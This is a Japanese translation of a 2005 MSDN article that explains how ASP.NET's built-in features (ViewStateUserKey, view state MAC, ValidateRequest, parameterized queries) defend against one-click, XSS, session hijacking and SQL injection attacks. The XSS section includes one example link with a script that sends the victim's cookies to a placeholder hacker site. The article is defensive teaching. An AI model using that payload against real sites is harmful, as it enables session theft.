このトピックはまだ評価されていません - このトピックを評価する

ASP.NET の組み込み機能を活用し、Web 攻撃を回避する

Dino Esposito
Wintellect

January 2005
日本語版最終更新日 2006 年 9 月 11 日

適用対象
Microsoft ASP.NET 1.x
Microsoft ASP.NET 2.0

概要:Dino が最も一般的な Web 攻撃の種類を要約し、Web 開発者が ASP.NET の組み込み機能を利用してセキュリティを強化する方法を述べます。

目次

ASP.NET 開発者が常に行うべきこと
脅威はどこからやってくる
ViewStateUserKey
クッキーと認証
セッション ハイジャック
EnableViewStateMac
ValidateRequest
データベース パースペクティブ
隠しフィールド
電子メールとスパム
まとめ
関連資料

ASP.NET 開発者が常に行うべきこと

もしこの記事を読んでいるなら、おそらく Web アプリケーションにおけるセキュリティの重要性の増大について学ぶ必要はないでしょう。ASP.NET アプリケーションにセキュリティを実装する現実的な助言を探しているのかもしれません。残念なことに、ASP.NET を含めたいかなる開発プラットフォームを採用しても、100% セキュアなコードを書いていることを保障することはできません。開発プラットフォームはそこに存在しているだけです。ASP.NET が関与している限り、ASP.NET、特にバージョン 1.1 と次のバージョン 2.0 ではいくつもの組み込みの防衛バリアを統合しており、いつでも利用できるという、良いニュースもあります。

これらすべての機能を持つアプリケーション単体では、Web アプリケーションをすべての可能性のある、そして予測可能な攻撃から守るには不十分です。しかしながら、他の防御テクニック、そしてセキュリティ戦略と組み合わせることにより、ASP.NET の組み込み機能は強力なツールキットを形成し、アプリケーションの安全な環境下での動作保証に役立ちます。

Web セキュリティはさまざまな因子の合計であり、個別のアプリケーションの内部にとどまらず、データベース管理、ネットワーク設定、そしてソーシャル エンジニアリングやフィッシングを含めてうまく対処できる戦略の結果として生じるものです。

この記事の目的は、セキュリティを適度なレベルに保つために ASP.NET 開発者が常に行わなくてはならないことを明らかにすることです。それがセキュリティの大部分、つまり油断をせず、完全にセキュアにしようとは考えず、悪人によるハックを難しくし続けることです。

仕事を単純にするため ASP.NET が何を提供するのかを見ていきましょう。

脅威はどこからやってくる

表 1 に、最も一般的な Web 攻撃の種類と、それらを可能としているアプリケーション中の欠陥をまとめました。

攻撃その原因と思われる事項
クロスサイト スクリプティング (XSS)ページにそのまま反映される信頼できないユーザー入力
SQL インジェクションSQL コマンドを構成する連続したユーザー入力
セッション ハイジャックセッション ID の類推とセッション ID クッキーの盗難
ワンクリックスクリプトによる無意識の HTTP ポスト
隠しフィールドの改ざん重要なデータで埋められた、未チェックの (そして信頼された) 隠しフィールド

表 1. 一般的な Web 攻撃

このリストから浮かび上がる鍵となる事実はなんでしょう。少なくとも以下の 3 点だろうと思います。

  • ブラウザのマークアップにユーザー入力を挿入するときはいつでも、潜在的にコード インジェクション攻撃 (SQL インジェクションや XSS などのバリエーションがある) に身をさらしている。
  • データベース アクセスはセキュアに行わなくてはならない、つまり、アカウントへの可能な限り最低限のパーミッションを用い、役割に応じて個別のユーザーの責任を区切る必要がある。
  • 重要なデータはネットを超えて絶対に送信すべきではなく (平文としてはいうまでもなく)、サーバー上に安全に保管すべきである。

上述した 3 つのポイントが Web セキュリティの 3 つのはっきりとした側面に当たることは興味深く、これらの組み合わせが、防弾でき、不正使用不能なアプリケーションを構築する唯一の妥当な手段です。Web セキュリティの真実は以下に要約できます。

  • コーディングの習慣 : データ検証、タイプとバッファ長の確認、耐改ざん措置
  • データ アクセス戦略 : 可能な限り最弱のアカウントを保証する役割の使用、ストアド プロシージャ、あるいは最低でもパラメータ化されたコマンドの使用
  • 効果的なストレージと管理 : 重大なデータをクライアントに送信しない、操作を検出するためのハッシュ コードの使用、ユーザーの認証と身元同一性の保護、パスワードに対する厳格なポリシーの適用

お分かりの通り、セキュアなアプリケーションは、開発者、アーキテクト、管理者の協調した努力によってのみ生み出されます。他のやり方でそれを確保できるとは思わないでください。

ASP.NET アプリケーションを書いている際、ハッカーの集団に対しての戦いを自己裁量に任されることはなく、自身の脳、スキル、そしてコードをタイプする指にとって武装するのみです。ASP.NET 1.1 とそれ以降のバージョンは、上でリストアップしたいくつかの脅威に対抗するバリアを自動的に展開するいくつかの固有機能の役に立ちます。それらの詳細を見ていきましょう。

ViewStateUserKey

ASP.NET 1.1 で導入された ViewStateUserKey は、少数の開発者のみが熟知できている、ページ クラスの強力なプロパティです。なぜでしょうか。これについての文書がどのように述べているのか、読んでみてください。

現在のページに関連したビュー ステート変数内の個別ユーザーに識別子を割り当てます。

複雑な文体の代わりに、その文は非常に簡潔です。しかし、プロパティの意図した目的を説明していると、本当に言えるでしょうか。ViewStateUserKey の役割を理解するには、備考セクションに至るまで、もう少し読み進める必要があります。

このプロパティは、ビュー ステートを改ざんから守るハッシュ値を作成する追加入力を提供することで、ワンクリック攻撃を防ぐのに役立ちます。言い換えれば、ViewStateUserKey はハッカーがクライアントサイドのビュー ステートの内容を利用し、サイトに対して悪意あるポストを準備することをより困難にします。このプロパティには空ではない文字列と、できればセッション ID とユーザーの ID が割り当てられます。このプロパティの重要性をさらに理解するために、ワンクリック攻撃の基礎を簡単に見ていきましょう。

ワンクリック攻撃の本質は、悪意ある HTTP フォームを既存の脆弱な Web サイトにポストすることです。この攻撃が通常、電子メールを介して受け取ったり、利用者の多いフォーラムをブラウジングして見つけたりした魅惑的なリンクを、無意識に被害者がクリックすることで開始されることから、「ワンクリック」と呼ばれています。リンクをたどることで、故意ではないリモート プロセスが起動し、最終的に悪意ある <form> がサイトに送信されてしまいます。正直に答えてください。ここをクリックして 1 億円をゲットしようと言うようなリンクを、ちょっと見てみようとたどったことがないと言い切れるでしょうか。一見したところ、何も悪いことは起こっていません。これが正しいと仮定したところで、Web コミュニティの残りに対しても同じように安全だということができるでしょうか。誰にも分かりません。

ワンクリック攻撃が成功するためには、いくつかのバックグラウンドの条件が必要です。

  • 攻撃者は脆弱なサイトについてよく知っている必要があります。これは、攻撃者が念入りにファイルを調査した場合、あるいは攻撃者が内部の不満分子 (たとえば、解雇され誠意のない従業員) であった場合に満たされてしまいます。このため、攻撃は大打撃を与える可能性があります。
  • サイトがシングル サインオンを実装するためにクッキー (永続的なクッキーであればより良い) を使用している必要があり、攻撃者は正統な認証クッキーを受け取る必要があります。
  • サイトのいくらかのユーザーが重要なトランザクションに関係している必要があります。
  • 攻撃者は攻撃対象のページへのアクセス権を持っている必要があります。

既に述べたように、攻撃の本質は、悪意ある HTTP フォームを、フォーム要求するページに送信することです。合理的に、このページはポストされたデータを取り込み、いくつかの重要な操作を実行します。当然、攻撃者はそれぞれのフィールドがどのように使われるのかを正確に知っており、いくらかのスプーフィングされた値とともに目標に近づくことができます。これは通常は標的を定めた攻撃であり、攻撃が確立する三角関係のやり取りから、足跡をたどることも困難です。つまり、ハッカーは被害者がハッカーのサイト上のリンクをクリックするよう誘導し、そのサイトが第三者のサイトに悪意あるコードをポストするわけです。(図 1 を参照)

ms972969.securitybarriers01(ja-jp,MSDN.10).gif

図 1. ワンクリック攻撃


なぜ疑いを知らない被害者なのでしょうか。なぜなら、この方法では、被害者の IP アドレスを、悪意ある要求が発せられた IP アドレスとサーバー ログがみなすからです。既に触れたように、この攻撃は古典的なクロスサイト スクリプティングほど一般的な (かつアレンジしやすい) ものではありませんが、その性質から潜在的に大きな被害を及ぼす可能性があります。それでは、どのような解決策があるのでしょうか。ASP.NET 環境における攻撃の構造を見ていきましょう。

アクションが Page_Load イベントにコードされていない限りは、ポストバック イベントの外で、ASP.NET のページが重要なコードを実行する方法はありません。ポストバック イベントが発生するためには、ビュー ステート フィールドが必須となります。ASP.NET はリクエストのポストバック ステートをチェックし、_VIEWSTATE 入力フィールドの存在に基づき IsPostBack を併せて設定します。したがって ASP.NET ページに偽のリクエストを送信しようとする誰もが、正統なビュー ステート フィールドを与える必要があります。

ワンクリック攻撃を動作させるには、ハッカーはページにアクセスできなくてはなりません。これが可能なとき、遠隔地のハッカーはページをローカルに保存します。そうすると、ハッカーは _VIEWSTATE フィールドにアクセスし、古いビュー ステートと他のフィールドに悪意ある値を使用したリクエストを作成することができてしまいます。問題は、これが動作するかどうかです。

どうしてでしょう。もし攻撃者が正統な認証コードを提供できたなら、ハッカーが侵入しリクエストはきちんと処理されます。サーバー上ではビュー ステートの中身はまったくチェックされないか (EnableViewStataMac がオフの場合)、改ざんのチェックが行われるだけです。デフォルトでは、ビュー ステートにはそのコンテンツを特定のユーザーに結びつけるものは何もありません。攻撃者は、他のユーザーに代わって偽のリクエストを作成するために、ページに合法的にアクセスして得たビュー ステートを簡単に再利用できます。ViewStateUserKey が一致するのはここです。

的確に選ばれていれば、プロパティはユーザー特異的な情報をビュー ステートに付加できます。リクエストが処理されるとき、ASP.NET はビュー ステートから鍵を抽出し、実行中のページの ViewStateUserKey と比較します。両者が一致したなら、リクエストが正統であるとみなされ、そうでなければ例外処理が発生します。プロパティに対する正統な値とは何でしょうか。

ViewStateUserKey を不変の文字列、つまりすべてのユーザーに対して同じ値に設定することは、それを空白のまま放置するのに似ています。ユーザーごとに異なる値、つまりユーザー ID、できればセッション ID に設定するべきです。セッション ID は予測不能であり、タイムアウトをし、ユーザーごとに異なることから、いくつかの技術的および社会的理由のために、セッション ID がより相応しいといえます。

ここに、ページすべてに埋め込む必要のあるコードを示します。


void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

これを何度も上書きしてしまうことを避けるため、Page 由来クラスの OnInit 仮想メソッドでこれを固定することができます。(Page.Init イベント中でこのプロパティを設定する必要があることに注意してください。)


protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

全体的に、私の記事、『Richer Bedrock 上で ASP.NET ページを構築する』 (英語) で説明しているように、いつでも基礎ページ クラスの使用は良いことです。ワンクリック攻撃の戦術をより詳しく学ぶためのすばらしい記事を aspnetpro.com (英語) で見つけることができます。

クッキーと認証

クッキーの存在は、開発者の結果の達成に役立っています。クッキーはブラウザとサーバー間の持続的なリンクの 1 つとして機能します。特にシングル サインオンを使用するアプリケーションにとっては、クッキーの盗難は即座に攻撃を可能とするものです。これがワンクリック攻撃の事例そのものです。

クッキーを使用するためには、プログラム上明示的にそれらを作成し読み込む必要はありません。セッション ステートを使用し認証を行うフォームを実装すれば、自動的にクッキーが使用できます。確かに、ASP.NET はクッキーのないセッション ステートをサポートしており、ASP.NET 2.0 ではクッキーのないフォーム認証も導入しています。つまり、理論的にはこれらのクッキーを使用しない機能を使用することができます。クッキーを使用すべきではないと言っているわけではなく、治療薬が病気以上によくない 1 つの単なる事例に過ぎないということです。実際、クッキーを使用しないセッションではセッション ID を URL に埋め込むため、それが誰にでも見えてしまいます。

クッキーの使用に関係する潜在的な問題とは何でしょうか。それは、クッキーが盗難 (つまり、ハッカーのマシンへのコピー) および汚染 (つまり、悪意あるデータで埋めつくす) が可能だということです。これらのアクションはしばしば次の攻撃の前触れとなります。盗難されれば、認証クッキーは外部ユーザーが代わりにアプリケーションへ接続すること (および保護されたページを使用すること) を「許可」してしまい、潜在的にハッカーによる承認の迂回を可能となってしまいます。ハッカーはしたい放題の行動を取れますし、そのセキュリティ設定では被害者も同じことができてしまいます。このような理由から、認証クッキーには通常比較的短いライフタイム、30 分が設定されています。(ブラウザのセッション完了までに時間がかかりすぎる場合にもクッキーは失効します。) 盗難の場合、ハッカーは攻撃の試行が可能な 30 分のウィンドウを得ることになります。

このウィンドウは、ユーザーが非常に頻繁にログオンを繰り返さなくてもよいように、拡大可能です。これは危険覚悟で行うようにしてください。どんな場合であろうと、ASP.NET の永続クッキーの使用は避けてください。これは、クッキーのライフタイムを仮想的に恒久化、実際には 50 年程度にしてしまいます。以下のコードの断片は、余暇に行うクッキー延長の変更方法を示しています。


void OnLogin(object sender, EventArgs e) {
   // 証明書を確認
   if (ValidateUser(user, pswd)) {
      // クッキーの失効日を設定
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // クッキーに応答を付加
      Response.Cookies.Add(cookie);

      // リダイレクト
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

自前のログイン フォームにおける認証クッキーのライフタイムの微調整に、このコードを使用することができるかもしれません。

セッション ハイジャック

クッキーは、特定のユーザーのセッション ステートを読み出す際にも利用されています。セッションの ID はリクエスト上を行ったり来たりするクッキー上に保存され、そのクッキーはブラウザ上に保存されます。繰り返しになりますが、もし盗まれたなら、セッション クッキーはハッカーによりシステムへの侵入と誰かのセッション ステートへのアクセスに使用されてしまいます。言うまでもありませんが、これは特定のセッションがアクティブな際に発生し、通常その期間は 20 分を超えません。スプーフィングされたセッションを介して行われた攻撃は、セッション ハイジャックとして知られています。セッション ハイジャックについてのより詳細については、Web 上での盗用 : セッション ハイジャックの防止(英語)をお読みください。

この攻撃の危険性はどの程度でしょうか。これは回答が難しい質問です。Web サイトが何を行っているのかにも依存しています。そして、より重要なのは、ページがどのように設計されているかです。たとえば、誰かのセッション クッキーを入手でき、そのサイトのページへのリクエストにクッキーを付加できたと想像してみてください。ページを読み込み、通常のインターフェイス上で操作が行えます。ページへのコードの挿入ありません。ページ内の何も変化しません。例外は、別のユーザーのセッション ステートを使用してページが動作していることだけです。それ自体が悪いというわけではありませんが、セッション中の情報が慎重を期すべき重要なものである以上、ハッカーによる攻撃の成功を招く可能性があります。ハッカーはセッション ストアの中身を解析することはできませんが、その中から盗まれたものは、ハッカーが合法的に入力したものであるかのように使用されてしまいます。たとえば、ユーザーがサイト内を巡回しながら商品をショッピング カートに追加していく、e-コマース アプリケーションを想像してみてください。

  • シナリオ 1 ショッピング カートの中身はセッション ステートに保管されています。しかし、ユーザーはレジでの清算時にその確認と、セキュアな SSL 接続を介した支払明細の入力を求められます。この場合、他ユーザーのセッション ステートへの接続では、ハッカーが被害者のショッピングの嗜好の詳細を知ることができるのみです。この場合のハイジャックでは、実際の損害は発生しません。機密性が危険にさらされるのみです。
  • シナリオ 2 アプリケーションが各登録ユーザーのプロファイルを処理しており、それらのプロファイルがセッション ステートに保管されています。残念なことに、(この事例の場合は) このプロファイルにクレジット カード情報も含まれています。なぜショップはユーザー プロファイルの詳細をセッションに保管しているのでしょうか。アプリケーションの目標の 1 つが、最終的にユーザーに何度も何度もクレジット カードと銀行の情報をタイプさせないことなのでしょう。したがって、レジでの清算時にはアプリケーションがユーザーをフィールドがあらかじめ埋められたページに誘導します。不用意にも、これらのフィールドの 1 つはセッション ステートから得られるクレジット カード番号で埋められています。このシナリオの結末が想像できるでしょうか。

アプリケーションのページ設計は、セッション ハイジャック攻撃を防ぐ鍵となります。それには、2 つのポイントが存在しています。1 つ目は、クッキーの盗難防止のために何ができるか。2 つ目は、ハイジャックを検出して阻止するために ASP.NET が何をできるかです。

ASP.NET のセッション クッキーはきわめて単純で、セッション ID の文字列そのものしか含んでいません。ASP.NET ランタイムはクッキーからセッション ID を抽出し、アクティブなセッションに対してチェックします。ID が正当なものであれば、ASP.NET は相当するセッションに接続、再開します。この行動パターンは、正当なセッション ID を盗んだ、あるいは推測したハッカーが必要とする操作を大きく簡略化させてしまいます。

XSS と仲介者攻撃は、クライアント PC に対する総当り攻撃と同様に、あらゆる方法で正当なクッキーを手に入れます。盗難を防ぐには、XSS とそのすべての変則攻撃が成功することを防ぐために、セキュリティのベスト プラクティスを実装するべきです。

セッション ID の推測を防止するには、対照的ですが、単純に自身のスキルを過大評価することを避けるべきです。セッション ID の推測は、正当なセッション ID 文字列を予想する方法を知っていることを意味します。ASP.NET で使用されているアルゴリズム (15 のランダムな数を URL 使用可能な文字にマップ) では、偶然正当な ID を推測できる可能性はゼロに近いものです。デフォルトのセッション ID ジェネレータを自前のものに置き換えることを検討する理由はありません。多くの場合、攻撃者の操作をただ簡単にしてしまいます。

セッション ハイジャックのより困った点は、いったんクッキーが盗まれたり推測されたりしてしまうと、ASP.NET がクッキーの不正使用検出のためにできることがほとんどないことです。繰り返しになりますが、これが、ID の正当性の確認やクッキーの由来の場所についての質問を、ASP.NET が自分自身に制限している理由です。

Wintellect 仲間の Jeff Prosose が、セッション ハイジャックに関するすばらしい記事を MSDN マガジン (英語) 向けに書いています。彼の結論、盗難されたセッション ID クッキーに依存した攻撃に対しての絶対的な防壁の構築は実質的には不可能である、はほとんど安らぎを与えてはくれませんが、彼の開発したコードはセキュリティ レベルをより一層高めてくれる優れたヒントを与えてくれます。Jeff は、セッション ID クッキーに対する内向きのリクエストと外向きの応答を監視する HTTP モジュールも作成しています。このモジュールは、外向きのセッション ID にハッシュ コードを付加し、攻撃者によるそのクッキーの再利用を困難にしています。詳細はこちら (英語) から読むことができます。

EnableViewStateMac

ビュー ステートは、同じページに対する 2 つの連続するリクエストにまたがるコントロール状態を維持するために使用されます。デフォルトでは、ビュー ステートは Base64 エンコードされており、改ざんを防ぐためのハッシュ値で署名されています。デフォルトのページ設定を変更しない限り、ビュー ステートが改ざんされるリスクはありません。もし攻撃者がビュー ステートを改変しても、また、正しいアルゴリズムでビュー ステートを再構築したとしても、ASP.NET はその試みを検出し例外処理を実行します。改ざんされたビュー ステートは、サーバー コントロールのステートを改変してしまいますが、必ずしも有害とは言い切れません。しかし、深刻な感染の媒介物となる可能性があります。この理由から、デフォルトで行われるマシン認証コード (MAC) クロスチェックを取り除かないことが非常に重要となります。図 2 をご覧ください。

ms972969.securitybarriers02(ja-jp,MSDN.10).gif

図 2. EnableViewStateMac が有効なとき、何がビュー ステートを本質的に改ざん耐性にしているのか


MAC チェックが有効 (デフォルトです) なとき、連続するビュー ステートには、あるサーバーサイドの値と、もしあるならビュー ステート ユーザー キーから得られるハッシュ値が付け加えられます。ビュー ステートが返されてくると、サーバーサイドの新しい値でハッシュ値の再計算が行われ、保存されていた値と比較されます。これらが一致すれば、リクエストが受け付けられますが、そうでなければ例外処理が発生します。ハッカーがビュー ステートをクラックして再構成するスキルを持っていたと仮定しても、有効なハッシュを用意するにはサーバーに保存された値が必要です。具体的に言えば、ハッカーは machine.config の <machineKey> エントリで参照されるマシン キーを知る必要があります。

デフォルトでは、<machineKey> エントリは自動生成され物理的に Windows Local Security Authority (LSA) に保管されます。Web ファームの場合のみ、つまりビュー ステートのマシン キーがすべてのマシンで同じでなくてはならない場合のみ、machine.config ファイル中に平文で指定する必要があります。

ビュー ステート MAC の確認は、@Page ディレクティブの EnableViewStateMac という名の属性を介してコントロールされます。既に触れたように、これはデフォルトでは有効にセットされています。絶対にこれを無効にしたりしないでください。これにより、ビュー ステートの改ざんによるワンクリック攻撃を可能とし、攻撃成功の機会を広げる可能性があります。

ValidateRequest

クロスサイト スクリプティング (XSS) は、多くのベテラン Web 開発者にとって、古くから、およそ 1999 年頃から、知っている攻撃手法です。簡単に書くと、XSS はコードの欠点を悪用してハッカーの実行コードを別のユーザーのブラウザ セッションに挿入します。実行されると、挿入されたコードがさまざまなアクションを引き起こします。そのアクションには、クッキーの掴み取りや、ハッカーのコントロールする Web サイトへのコピーのアップロード、ユーザーの Web セッションの監視とデータの転送、動作や不正確な情報による乗っ取りページの改変、そして次回ユーザーがそのページに戻り不正コードを再度実行させることによる自身の永続化すらも含まれています。XSS 攻撃の基礎に関する詳細については、TechNet の記事、クロスサイト スクリプティングの概要 (英語) をお読みください。

コード中のどのような抜け穴が XSS 攻撃を可能にしているのでしょうか。

XSS は 動的に HTML ページを生成しているが、ページに表示される入力値の正当性検証が行われていない Web アプリケーションを悪用します。ここでの入力値とは、クエリ文字列、クッキー、そしてフォームのフィールドの内容を指しています。もしこれらの内容が適切な検証を受けずにネットワーク上に流されるなら、ハッカーがそれを操作して悪意あるスクリプトをクライアントのブラウザで実行させてしまうリスクが生じます。(結局のところ、前述のワンクリック攻撃は、XSS の最近のバリエーションです。) 一般的な XSS 攻撃は、エスケープされたスクリプト コードを埋め込んだ誘惑的なリンクをたどる、疑うことを知らないユーザーを必要とします。不正なコードは脆弱なページに送信され、ページ上に信頼されやすい形で表示されます。ここに、起こりうる一例を示します。


<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">商品受け取りのためクリックしてください</a>

ユーザーが一見したところ安全なリンクをクリックすると、最終的に脆弱なページにスクリプト コードの断片が受け渡されますが、そのコードは最初にユーザーのマシンのすべてのクッキーを入手しハッカーの Web サイトに送ってしまいます。

XSS はベンダ特異的な問題ではなく、Internet Explorer の欠陥を悪用する必要もないということに注意するのは大切なことです。XSS は、現在出回っているすべての Web サーバーとブラウザに影響します。さらにより重要なことは、問題を修正する単一のパッチは存在しないと理解することです。具体的な対策と健全なコーディング習慣を適用することで、ページを XSS から確かに守ることができます。さらに、攻撃を開始するために、攻撃者はユーザーにリンクをクリックさせなくてもよいことにも注意してください。

XSS に対しての防衛を行うには、まず正当な入力を判断し、それ以外を拒否する必要があります。XSS 攻撃を失敗させるための詳細なチェックリストを、Microsoft にて読むことを要求している書籍、Michael Howard、David LeBlanc 著 Writing Secure Code、に見つけることができます。具体的には、第 13 章をじっくり読むことをお勧めします。

狡猾な XSS 攻撃を阻止する基本的な方法は、十分な処理を行うデータ検証チェック レイヤをすべてのタイプの入力データに加えることです。たとえば、他の無味乾燥な色、赤緑青の三原色でさえもが、ページに対して制御されていないスクリプトをもたらすような環境 (英語) が存在しています。

ASP.NET 1.1 では、オンになっているなら、@Page ディレクティブ上の ValidateRequest 属性が、ユーザーが潜在的に危険な HTML マークアップを、クエリ文字列、クッキー、あるいはフォーム フィールドで送信していないか確認します。もしこれが検出されたなら、例外処置が実行されリクエストは中断されます。この属性はデフォルトではオンとなっており、保護されるためには何も変更すべきではありません。もし HTML マークアップの受け渡しを許可したいのなら、積極的にこれを無効化する必要があります。


<%@ Page ValidateRequest="false" %>

ValidateRequest は特効薬ではなく有効な検証レイヤの代わりとしても機能しません。フードの下でこの機能が実際にどのように働くのかについての多くの価値ある情報を得るには、こちら (英語) をお読みください。いくつかの潜在的に有害な結果を捉えるために、基本的に正規表現を応用しています。

注意 ValidateRequest 機能にはもともと欠陥 (英語) があります。つまり、期待したとおりに機能させるには、パッチ (英語) の適用が必要です。これは、しばしば気付かれずにやり過ごされる価値ある情報です。妙な話ですが、私のマシンのうちの 1 台が欠陥の影響を既に受けているのを発見しました。調べてみてください。

VaridateRequest をオフにする理由は何もありません。無効にすることはできますが、それ相応の理由が必要となります。その 1 つが、より良いフォーマット オプションを得るために、いくつかの HTML をサイトにポストしたいというユーザーの要望です。この場合、許可する HTML タグ (<pre>, <b>, <i>, <p>, <br>, <hr>) の数を制限し、それ以外が許可されたり受け付けられることのないよう、正規表現を書いておくべきです。

ここに、ASP.NET アプリケーションを XSS から守るための、いくつかのヒントをさらに示します。

  • HttpUtility.HtmlEncode を使用し、危険な記号を HTML 表記に変換
  • HTML エンコードはダブル クオートのみをエスケープするので、シングル クオートの代わりにダブル クオートを使用
  • コードページで使用される文字数の制限を強制

要約すると、ValidateRequest 属性を使用してください、ただし完全に信用しないでください、そして気を抜かないでくださいということになります。XSS のようなセキュリティ上の脅威を根本から理解するために時間を活用し、1 つのキー ポイント、すべてのユーザー入力は害を与えると考える、これを中心にすえ防御戦略を計画してください。

データベース パースペクティブ

SQL インジェクションは、アプリケーションを悪用するもう 1 つのタイプの攻撃で、この攻撃ではフィルタリングされていないユーザー入力がデータベース コマンドの形成に使用されます。アプリケーションが単純にフォーム フィールド中のユーザー データを利用し SQL コマンド 文字列を作成するなら、悪意あるユーザーがページにアクセスし、クエリの性質を変えてしまう不正なパラメータを入力するリスクにさらされます。SQL インジェクションについて、こちら (英語) で詳しく学ぶことができます。

SQL インジェクション攻撃を阻止するにはいくつかの方法があります。以下はもっとも一般的な手法です。

  • ユーザー入力のすべてが適切なタイプであり、要求した形式 (郵便番号、社会保障番号、電子メール アドレス) にしたがっていることを確認、もしテキストボックスから数値を受け取るのなら、数値に変換できない何かをユーザーが入力したリクエストは阻止
  • パラメータ化されたクエリ、できればストアド プロシージャを使用
  • 各ユーザーのデータベース上での行動を SQL Server のパーミッションを使用し制限、たとえば、xp_cmdshell の無効化や管理者への限定を検討

ストアド プロシージャを使用することで、攻撃される箇所を大幅に減らすことができます。ストアド プロシージャを使用すれば、実際のところ、SQL 文字列を動的に構成する必要がなくなります。加えて、いくつかのパラメータは SQL Server 内の特定のタイプに対して有効です。単体で 100% セキュアな手法というわけではありませんが、データ妥当性のチェックと組み合わせることで、よりセキュアにすることができます。

認証されたユーザーのみへの、テーブルのドロップなどの大きな被害を与える可能性のある操作の限定はより重要です。これは、アプリケーションの中間層の注意深いデザインを必要とします。セキュリティの観点以外からも、優れた手法は役割に焦点を当てるものです。ユーザーを役割でグループ化し、各役割に最低限のパーミッションと共にアカウントを定義します。

数週間前、Wintellect の Web サイトが、SQL インジェクションを洗練した方式による攻撃にあいました。ハッカーは、(悪意があるものか分からない) 実行ファイルをダウンロードさせる FTP スクリプトを作成して起動させようとしました。この攻撃は幸運にも失敗に終わりました。あるいは、入力データの検証が予想以上に強固で、ストアド プロシージャが使用されており、攻撃の動作を妨げる SQL Server パーミッションが使用されていたのでしょうか。

要約すると、SQL コードの無用の挿入を避けるには、以下のガイドラインに従ってください。

  • 最小限の権限で実行し、"sa" では絶対にコードを実行しない
  • 組み込みのストアド プロシージャへのアクセスを制限
  • SQL のパラメータ化されたクエリを多用
  • 連続した文字列を介した命令文の構築、データベース エラーの画面表示は行わない

隠しフィールド

古典的な ASP においては、隠しフィールドはリクエスト間でデータを保持する唯一の方法でした。次のリクエストで読み出す必要のあるデータは、隠し<input> フィールドにパックし、リクエスト間を往復します。もしクライアント上で誰かがフィールド内の値を編集したらどうでしょう。サーバーサイドの環境では、テキストが平文である限りそれを判断する方法はありません。ASP.NET のページの ViewState プロパティと独立したコントロールが 2 つの目的の達成に役立っています。他方では、ViewState はリクエスト間でステートを保持する手段でもあり、また他方では、ViewState が保護された改ざん耐性の 隠しフィールドへのカスタム値の保管を可能としています。

図 2 に示したように、改ざんを検出するため、すべてのリクエストがチェックを受けるハッシュ値が、ビュー ステートには付加されます。ASP.NET ではいくつかの事例を除いて 隠しフィールドを使用する理由がありません。ビュー ステートは同じことをよりセキュアな方法で行います。率直に言えば、平文である 隠しフィールド中に価格やクレジット カードの詳細などの非常に重要な値を置くことは、ハッカーに対してドアを開けているようなものであり、そのデータ保護の仕組みから、ビュー ステートはこの悪い習慣の危険性を以前より軽減させます。しかしながら、ビュー ステートは改ざんを阻止しますが、暗号化を行わない限り機密性を保証するものではありません。したがって、ビュー ステートに保管されたクレジット カードの詳細がリスクにさらされていることには変わりありません。

ASP.NET で 隠しフィールドの使用が容認できるのはどんなときでしょうか。それは、サーバーにデータを送り返す必要のあるカスタム コントロールを構築するときです。たとえば、列の再並べ替えをサポートする DataGrid コントロールの作成を想像してみてください。新しい順序をポストバックを使用し、サーバーに送り返す必要があります。もし、隠しフィールドでなければ、この情報をどこに保存できるでしょうか。

もし 隠しフィールドが読み書き可能なフィールドなら、つまり、クライアントによる書き込みが予期できるなら、ハッカーを通させないためにできることはあまりありません。テキストのハッシュ計算や暗号化の試みは可能ですが、それがハックされていないという確かな証拠を与えるわけではありません。ここでの最善な防衛策は、隠しフィールドに不活性で当たり障りのないデータが含まれるようにすることです。

順に並んだオブジェクトのエンコードとハッシュ計算に使用できる、あまり知られていないクラスが ASP.NET に存在することに注意することは、価値のあることです。このクラスは LosFormatter であり、エンコーディングされたテキストをクライアント間でやり取りするための ViewState の実装に使用されるものと同じクラスです。


private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

次のコードの断片は、エンコーディングされハッシュ計算されたビュー ステート用のコンテンツを、LosFormatter を使用して作成する方法を示しています。

電子メールとスパム

この記事の締めくくりに、魅力あるスプーフィングされたリンクをクリックするよう、疑うことを知らない被害者を誘導することで少なくとも 2 つの最も一般的な攻撃、すなわち古典的な XSS とワンクリックが引き起こされることを指摘しておきます。アンチスパム フィルタがあるにも関わらず、何度もこのようなリンクを受信箱に発見します。大量の電子メール アドレスは、数ドルで売ることができます。このようなリストを作成する主な手法の 1 つが、Web サイト上の一般ページをスキャンし、電子メールのように見えるもの何もかもを掴み取ってくる方法です。

ページに電子メール アドレスが表示されているなら、遅かれ早かれそれは Web ロボットにより収集されてしまうでしょう。本当でしょうか。それは、電子メール アドレスを表示する方法にも依存します。厳しい態度で臨めば、見つけられずに済みます。dino-at-microsoft-dot-com のような代替表現手法を用いれば、Web ロボットを本当に欺けるかどうかは確かではありませんが、確実に、合法的な接触を行おうとしてページを読んでいる人物をいらだたせることができるでしょう。

全体的に見て、mailto リンクとして電子メール アドレスを動的に生成する方法を考え出すべきです。これはまさに、Marco Bellinaso が書いたフリー コンポーネントが行うものです。完全なソース コードと共に、DotNet2TheMax Web サイト (英語) から入手することができます。

まとめ

すべてのランタイム環境の中で、Web がおそらく最も敵意に満ちていることを、誰が疑うでしょうか。誰もが Web サイトにアクセスし、善悪双方のアイデアをやり取りしようと試みている事実から、この現状が導かれています。しかしながら、ユーザーからの入力を受け付けない Web アプリケーションを作成することに、本当に意味があるのでしょうか。

ですから、この現実を直視しましょう。どんなにファイアウォールが強固であろうとも、どんなに頻繁に得られるパッチを適用しようとも、本質的に脆弱な Web アプリケーションを実行している以上、遅かれ早かれ攻撃者はシステムの中枢に向かって、ポート 80 と言う名の正面玄関を通って歩いて来ることでしょう。

